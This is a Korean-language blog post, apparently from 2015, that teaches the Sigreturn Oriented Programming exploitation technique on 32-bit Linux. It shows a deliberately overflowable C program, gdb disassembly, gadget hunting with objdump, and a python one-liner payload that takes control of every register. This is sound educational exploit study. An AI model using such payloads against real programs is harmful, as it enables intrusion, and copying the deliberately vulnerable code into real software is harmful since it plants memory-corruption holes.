ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Sigreturn Oriented Programming(SROP)
    Hack/Pwnable 2015. 11. 24. 23:12

    SROP가 Sigreturn Oriented Programming의 약자로, int $0x80의 시스콜넘버 119(Sigreturn)을 이용한 ROP이다.


    이게 공부하면서 int 0x80만 있다면 진짜 엄청 무서운것을 느낀것이, 모든 레지스터를 제어할수있다는것이 엄청 신기했다.


    이 기법을 이해하기위해서는 기본적으로 어셈블리 프로그래밍에대한 지식이 조금이나마 필요로하는데, 대충 하나 짚고 넘어가자면 다음과같다.


    mov %edx, 0x...

    mov %ecx,0x...

    mov %ebx, 0x.....

    mov %eax,syscallnumber

    int $0x80


    이런식으로하면 eax에 담긴 시스콜넘버에따라 어떤 함수가 호출되는지가 결정된다.


    그리고 ebx,ecx,edx 각각 인자를 넣어주고 호출하게된다.


    여기서 중요한것은, sigreturn의 시스콜넘버는 119번이고, eax에 119(0x77)값을 넣어서 호출을한다.


    read함수의 경우 입력값이 eax에 들어가기때문에 eax를 맞출수있고, eax를 맞춰 sigreturn을 호출했다면 다른 레지스터값들도 따라 변경할수있다. 


    다음은 소스코드이다.


    #include <stdio.h>


    #include <string.h>

    #include <stdlib.h>


    char binsh[8] = "/bin/sh";

    void int80() {

    asm("int $0x80");

    }

    void main() {

    char buf[8];

    printf("input buf: ");

    read(0,buf,128);


    read함수에서 터지는건 누구나 짐작가능하고, int $0x80가젯이 필요하기때문에 추가해주었다.


    (gdb) disas main

    Dump of assembler code for function main:

       0x08048454 <+0>: push   %ebp

       0x08048455 <+1>: mov    %esp,%ebp

       0x08048457 <+3>: and    $0xfffffff0,%esp

       0x0804845a <+6>: sub    $0x20,%esp

       0x0804845d <+9>: movl   $0x8048520,(%esp)

       0x08048464 <+16>: call   0x8048320 <printf@plt>

       0x08048469 <+21>: movl   $0x80,0x8(%esp)

       0x08048471 <+29>: lea    0x18(%esp),%eax

       0x08048475 <+33>: mov    %eax,0x4(%esp)

       0x08048479 <+37>: movl   $0x0,(%esp)

       0x08048480 <+44>: call   0x8048310 <read@plt>

       0x08048485 <+49>: leave  

       0x08048486 <+50>: ret    

    End of assembler dump.

    (gdb) 


    메인함수를 디스어셈블링하여 read함수에 브레이크포인트를 걸어주자.


     0x08048480 <+44>: call   0x8048310 <read@plt>


    (gdb) b *main+44

    Breakpoint 1 at 0x8048480


    그리고 우리는 int 0x80가젯이 어디있는지 찾아야한다.


    objdump -d srop | grep "cd 80" 혹은 "int"를 통해 찾을수있고


    gdb에서 disas int80을 통해 찾을수있다.


    (gdb) disas int80

    Dump of assembler code for function int80:

       0x0804844d <+0>: push   %ebp

       0x0804844e <+1>: mov    %esp,%ebp

       0x08048450 <+3>: int    $0x80

       0x08048452 <+5>: pop    %ebp

       0x08048453 <+6>: ret    

    End of assembler dump.

    (gdb) 


    0x08048450이 해당 가젯 주소이다.


    songsari@HackCat:~$ (python -c 'print "\x90"*20 + "\x50\x84\x04\x08" + "A"*94';cat;) | ./srop


    eax를 119개를 맞춰주기위해 저렇게 넣었다. 코어덤프를 보면 정상적으로 모든 레지스터가 조작되었음을 알수있다.


    (gdb) i r

    eax            0x0 0

    ecx            0x41414141 1094795585

    edx            0x41414141 1094795585

    ebx            0x41414141 1094795585

    esp            0x41414141 0x41414141

    ebp            0x41414141 0x41414141

    esi            0x41414141 1094795585

    edi            0x41414141 1094795585

    eip            0x41414141 0x41414141

    eflags         0x10343 [ CF ZF TF IF RF ]

    cs             0x4143 16707

    ss             0x4143 16707

    ds             0x0 0

    es             0x0 0

    fs             0x0 0

    gs             0x0 0

    (gdb) 


    세그먼트들은, A를 방대하게 집어넣지않고 조작할수있으며, 이 글에서는 레지스터를 조작할수있다는것을 증명하기위해 A를 94개 넣었다.





    'Hack > Pwnable' 카테고리의 다른 글

    Fake EBP  (0) 2015.12.04
    FPO(Frame Pointer Overwrite]  (0) 2015.12.02
    Improper Null Termination (SSP)  (0) 2015.11.20
    puts 어셈블리 프로그래밍  (0) 2015.10.06
    어셈블리 프로그래밍  (0) 2015.10.05

    댓글

Designed by Tistory.